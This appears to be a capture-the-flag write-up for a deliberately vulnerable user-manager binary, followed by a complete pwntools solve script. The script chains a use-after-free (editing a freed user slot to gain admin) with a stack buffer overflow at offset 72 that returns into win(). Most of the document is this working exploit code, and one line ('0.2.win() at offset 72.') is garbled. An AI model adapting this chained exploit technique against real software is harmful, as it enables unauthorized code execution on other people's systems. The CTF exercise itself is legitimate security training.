
This binary presents a simple user manager with two deliberately chained bugs:
The intended path is to free a user, reuse the dangling pointer to promote that user to admin, then overflow the admin note buffer and return into win().
The heap bug is in the delete flow. Deleting a user frees the allocation but leaves the pointer in the user table, so later edit operations still write through a dangling reference.
The stack bug is in admin_menu(). It reads an audit note with a size argument larger than the local buffer, so a long note can overwrite the saved return address.
0.2.win() at offset 72.#!/usr/bin/env python3
from pathlib import Path
from pwn import *
context.arch = "amd64"
context.log_level = "info"
def start(ip: str, port: int):
return remote(ip, port)
def choice(io, value):
io.sendlineafter(b"> ", str(value).encode())
def create_user(io, slot, username, bio):
choice(io, 1)
io.sendlineafter(b"Slot: ", str(slot).encode())
io.sendlineafter(b"Username: ", username)
io.sendlineafter(b"Bio: ", bio)
def delete_user(io, slot):
choice(io, 2)
io.sendlineafter(b"Slot: ", str(slot).encode())
def edit_user(io, slot, role, username, bio):
choice(io, 3)
io.sendlineafter(b"Slot: ", str(slot).encode())
io.sendlineafter(b"New role: ", str(role).encode())
io.sendlineafter(b"Username: ", username)
io.sendlineafter(b"Bio: ", bio)
def login_user(io, slot):
choice(io, 4)
io.sendlineafter(b"Slot: ", str(slot).encode())
def main():
ip, port = input("Enter IP and port (e.g., localhost:1337): ").strip().split(":")
binary = "./chall"
elf = ELF(str(binary), checksec=False)
io = start(ip, int(port))
create_user(io, 0, b"guest", b"temporary account")
delete_user(io, 0)
edit_user(io, 0, 2, b"root", b"promoted after free")
login_user(io, 0)
payload = fit({72: p64(elf.sym["_Z3winv"])})
io.sendafter(b"audit note: ", payload)
io.send(b"\n")
io.interactive()
if __name__ == "__main__":
main()